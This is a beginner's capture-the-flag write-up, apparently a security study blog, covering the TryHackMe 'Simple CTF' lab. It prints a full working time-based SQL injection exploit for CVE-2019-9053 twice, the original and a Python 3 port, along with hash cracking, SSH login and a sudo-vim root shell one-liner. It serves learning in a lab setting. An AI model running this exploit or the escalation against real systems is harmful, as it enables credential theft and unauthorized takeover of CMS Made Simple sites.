[CVE-2019-9053] I tried hacking it using the SQL injection vulnerability in CMS Made Simple! (Python3) TryHackMe Simple CTF Writeup

[CVE-2019-9053] I tried hacking it using the SQL injection vulnerability in CMS Made Simple! (Python3) TryHackMe Simple CTF Writeup

This time, we will take advantage of the CVE-2019-9053: CMS Made Simple's SQL injection vulnerability to infiltrate the target machine and even escalate privileges.
The target machine uses https://tryhackme.com/room/easyctf

Please note that the explanation is spoilers.

Recommended reference books
Author: IPUSIRON
¥2,090 (As of 15:33 on 2025/07/13 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: IPUSIRON
¥3,850 (As of 21:11 on 07/08/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
Author: Justin Seitz, Author: Tim Arnold, Supervised by: Mantani Nobutaka, Translation: Arai Yu, Translation: Kakara Hirosei, Translation: Murakami Ryo
¥3,520 (As of 12:26 on 07/09/2025 | Amazon research)
\Amazon Prime Day is now underway! /
Amazon
table of contents

Simple CTF

First, select Start Machine and deploy the target machine.

It's OK if the IP Address is displayed as shown below.

How many services are running under port 1000?

How many services are running on ports below 1000? You're being asked, so let's look it up on nmap.

  • -sV: Service and Version Detection
  • -sC: Scan with default script.
  • -sS: TCP SYN Scan/TCP Half Scan (it is often not logged because it does not return an ACK when completing a connection, but returns a SYN RST and cancels the connection without completing it)
root@ip-10-10-242-201:~# nmap -sV -sC -sS 10.10.25.17 Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-27 05:28 BST Nmap scan report for ip-10-10-25-17.eu-west-1.compute.internal (10.10.25.17) Host is up (0.00036s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.242.201 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/ /openemr-5_0_1_3 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA) | 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA) |_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (EdDSA) MAC Address: 02:6B:87:7C:52:A7 (Unknown) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.55 seconds

The three services that were detected were as follows:

  • 21:ftp
  • 80: http
  • 2222:ssh

Answer

It turns out that there are two services running under 1000.

What is running on the higher port?

They are asked what is running on ports over 1000, so from the results from nmap above, we can see that it is "ssh". (Note that ssh is not number 22.)

Answer

What's the CVE you're using against the application?

They have been asked what kind of vulnerabilities they have.
For now, http is open, so let's see what it's in gobuster.

root@ip-10-10What is running on the higher port?-242-201:~# gobuster dir -e -u http://10.10.25.17 -w /usr/share/dirb/wordlists/common.txt ==== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) ==== [+] URL: http://10.10.25.17 [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Expanded: true [+] Timeout: 10s ==== 2023/05/27 05:49:38 Starting gobuster ==== http://10.10.25.17/.hta (Status: 403) http://10.10.25.17/.htpasswd (Status: 403) http://10.10.25.17/.htaccess (Status: 403) http://10.10.25.17/index.html (Status: 200) http://10.10.25.17/robots.txt (Status: 200) http://10.10.25.17/server-status (Status: 403) http://10.10.25.17/simple (Status: 301) ===== 2023/05/27 05:49:40 Finished ====

I think the one that looks suspicious is "http://10.10.25.17/simple".
I'll take a look a bit.

It appears that "CMS Made Simple version 2.2.8" is running.
I'll look into this to see if there's any vulnerabilities.

After searching for a vulnerability in CMS Made Simple 2.2.8 on Exploit DB, I found that " cve-2019-9053 " was caught.

Answer

To what kind of vulnerability is the application vulnerable?

This is a SQL injection after looking at the contents of CVE-2019-9053.

Answer

I didn't know how to write it, so it's fine. . .

What's the password?

You are asked for your password, so try running it as stated in Exploit DB.
It looks like python, so I'll download the file.

root@ip-10-10-242-201:~# wget https://www.exploit-db.com/download/46635 -O exploit.py --2023-05-27 06:27:37-- https://www.exploit-db.com/download/46635 Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13 Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 6456 (6.3K) [application/txt] Saving to: \u2018exploit.py\u2019 exploit.py 100%[====>] 6.30K --.-KB/s in 0s 2023-05-27 06:27:37 (140 MB/s) - \u2018exploit.py\u2019 saved [6456/6456]

The contents of the code look like this: A detailed explanation will be omitted here.

root@ip-10-10-242-201:~# cat exploit.py #!/usr/bin/env python # Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse import hashlib parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print "[+] Specify an url target" print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." exit() url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' flag = True password = "" temp_password = "" TIME = 1 db_name = "" output = "" email = "" salt = '' wordlist = "" if options.wordlist: wordlist += options.wordlist def crack_password(): global password global output global wordlist global salt dict = open(wordlist) for line in dict.readlines(): line = line.replace("\n", "") beauty_print_try(line) if hashlib.md5(str(salt) + line).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() def beauty_print_try(value): global output print "\033c" cprint(output,'green', attrs=['bold']) cprint('[*] Try: ' + value, 'red', attrs=['bold']) def beauty_print(): global output print "\033c" cprint(output,'green', attrs=['bold']) def dump_salt(): global flag global salt global output ord_salt = "" ord_salt_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_salt) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += '\n[+] Salt for password found: ' + salt def dump_password(): global flag global password global output ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_password) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True output += '\n[+] Password found: ' + password def dump_username(): global flag global db_name global output ord_db_name = "" ord_db_name_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_db_name) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += '\n[+] Username found: ' + db_name flag = True def dump_email(): global flag global email global output ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_email) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: email = temp_email ord_email = ord_email_temp output += '\n[+] Email found: ' + email flag = True dump_salt() dump_username() dump_email() dump_password() if options.cracking: print colored("[*] Now try to crack password") crack_password() beauty_print()

In my environment, it only works python3, so I'll rewrite the code a little. (Not required for python2.)
The print and encoding parts are subject to modification.

  • print “” ⇒print(“”)
  • open(wordlist) ⇒ open(wordlist, encoding=”utf-8″, errors=”ignore”)
  • hashlib.md5(str(salt) + line).hexdigest() ⇒ hashlib.md5((str(salt) + line).encode(“utf-8”)).hexdigest()
┌──(root㉿kali)-[~] └─# cat exploit.py #!/usr/bin/env python # Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse import hashlib parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print("[+] Specify an url target") print("[+] Example usage (no cracking password): exploit.py -u http://target-uri") print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist") print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.") exit() url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' flag = True password = "" temp_password = "" TIME = 1 db_name = "" output = "" email = "" salt = '' wordlist = "" if options.wordlist: wordlist += options.wordlist def crack_password(): global password global output global wordlist global salt dict = open(wordlist, encoding="utf-8", errors="ignore") for line in dict.readlines(): line = line.replace("\n", "") beauty_print_try(line) if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() def beauty_print_try(value): global output print ("\033c") cprint(output,'green', attrs=['bold']) cprint('[*] Try: ' + value, 'red', attrs=['bold']) def beauty_print(): global output print ("\033c") cprint(output,'green', attrs=['bold']) def dump_salt(): global flag global salt global output ord_salt = "" ord_salt_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_salt) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += '\n[+] Salt for password found: ' + salt def dump_password(): global flag global password global output ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_password) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True output += '\n[+] Password found: ' + password def dump_username(): global flag global db_name global output ord_db_name = "" ord_db_name_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_db_name) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += '\n[+] Username found: ' + db_name flag = True def dump_email(): global flag global email global output ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] beauty_print_try(temp_email) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: email = temp_email ord_email = ord_email_temp output += '\n[+] Email found: ' + email flag = True dump_salt() dump_username() dump_email() dump_password() if options.cracking: print(colored("[*] Now try to crack password")) crack_password() beauty_print()

Now that I've made it corrected, let's try it.
I put "rockyou.txt" directly under the root directory, but please specify a path such as rockyou.txt that is in your environment.

┌──(root㉿kali)-[~] └─# python3 exploit.py -u http://10.10.25.17/simple -c -w /root/rockyou.txt ... [+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: mitch [+] Email found: admin@admin.com [+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96 [+] Password cracked: secret
  • Salt: 1dac0d92e9fa6bb2
  • Password (hash): 0c01f4468bd75d7a84c7eb73846e8d96
  • Email: admin@admin.com
  • Username:mitch
  • Password (plain text): secret

I've got my username and password.

Incidentally, if you set -w, it will crack the password from salt and password hash.
You can get similar results by cracking salt and password hash with hashcat, so I think it's a good idea to remember this method as well.

┌──(root㉿kali)-[~] └─# hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /root/rockyou.txt hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==== * Device #1: pthread-Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz, 1441/2946 MB (512 MB allocatable), 2MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 31 Minimim salt length supported by kernel: 0 Maximum salt length supported by kernel: 51 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Optimized-Kernel * Zero-Byte * Precompute-Init * Early-Skip * Not-Iterated * Prepended-Salt * Single-Hash * Single-Salt * Raw-Hash Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 0 MB Dictionary cache built: * Filename..: /root/rockyou.txt * Passwords.: 14344391 * Bytes.....: 139921497 * Keyspace..: 14344384 * Runtime...: 2 secs 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret Session.......: hashcat Status.......: Cracked Hash.Mode....: 20 (md5($salt.$pass)) Hash.Target......: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 Time.Started....: Sat May 27 07:36:41 2023 (0 secs) Time.Estimated...: Sat May 27 07:36:41 2023 (0 secs) Kernel.Feature...: Optimized Kernel Guess.Base......: File (/root/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1......: 8084 H/s (0.20ms) @ Accel:256 Loops:1 Thr:1 Vec:8 Recovered.......: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress......: 512/14344384 (0.00%) Rejected......: 0/512 (0.00%) Restore.Point....: 0/14344384 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1...: 123456 -> letmein Started: Sat May 27 07:36:02 2023 Stopped: Sat May 27 07:36:42 2023

Answer

Where can you login with the details obtained?

The obtained user ID and password can be used via SSH.

Answer

What's the user flag?

Connect via SSH to get the user flag.

┌──(root㉿kali)-[~] └─# ssh mitch@10.10.241.153 -p 2222 The authenticity of host '[10.10.241.153]:2222 ([10.10.241.153]:2222)' can't be established. ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[10.10.241.153]:2222' (ED25519) to the list of known hosts. mitch@10.10.241.153's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 updates are security updates. Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190 $ whoami mitch

You managed to log in using SSH.
I think I was able to find user.txt.

$ ls user.txt $ cat user.txt G00d j0b, keep up!

Answer

Is there any other user in the home directory? What's its name?

It's about what other users there are.
Let's take a look at the sub-controllers of "/home".

$ ls /home mitch sunbath

There seems to be a user called sunbath.

Answer

What can you leverage to spawn a privileged shell?

From here on, we will be escalating our privileges.
For now, use sudo -l to see what the current user can do.

$ sudo -l User mitch may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim

It appears that you can use "/usr/bin/vim" without a password.

Answer

What's the root flag?

When I searched in GTFOBins for how to get a privileged shell in vim, I found the following:

Now let's get a privileged shell.

$ sudo vim -c ':!/bin/sh' # whoami root

Successfully acquired a privileged shell. Elevation of authority was not an easy task.
Here, root.txt is under /root, so check the flag and you're done.

# cd /root # ls root.txt # cat root.txt W3ll d0n3. You made it!

Answer

summary

This time, we took advantage of the CVE-2019-9053: CMS Made Simple's SQL injection vulnerability to infiltrate the target machine and even escalate privileges.

Simple CTF is aimed at beginners, so there were some parts that were forced to do, but I think it was good that I could do it without any effort.

References and Sites

Medium (Skylar): https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-through-e8bb8c8671a9

Share if you like!

Who wrote this article

This is a blog I started to study information security. As a new employee, I would be happy if you could look with a broad heart.
There is also Teech Lab, which is an opportunity to study programming fun, so if you are interested in software development, be sure to take a look!

table of contents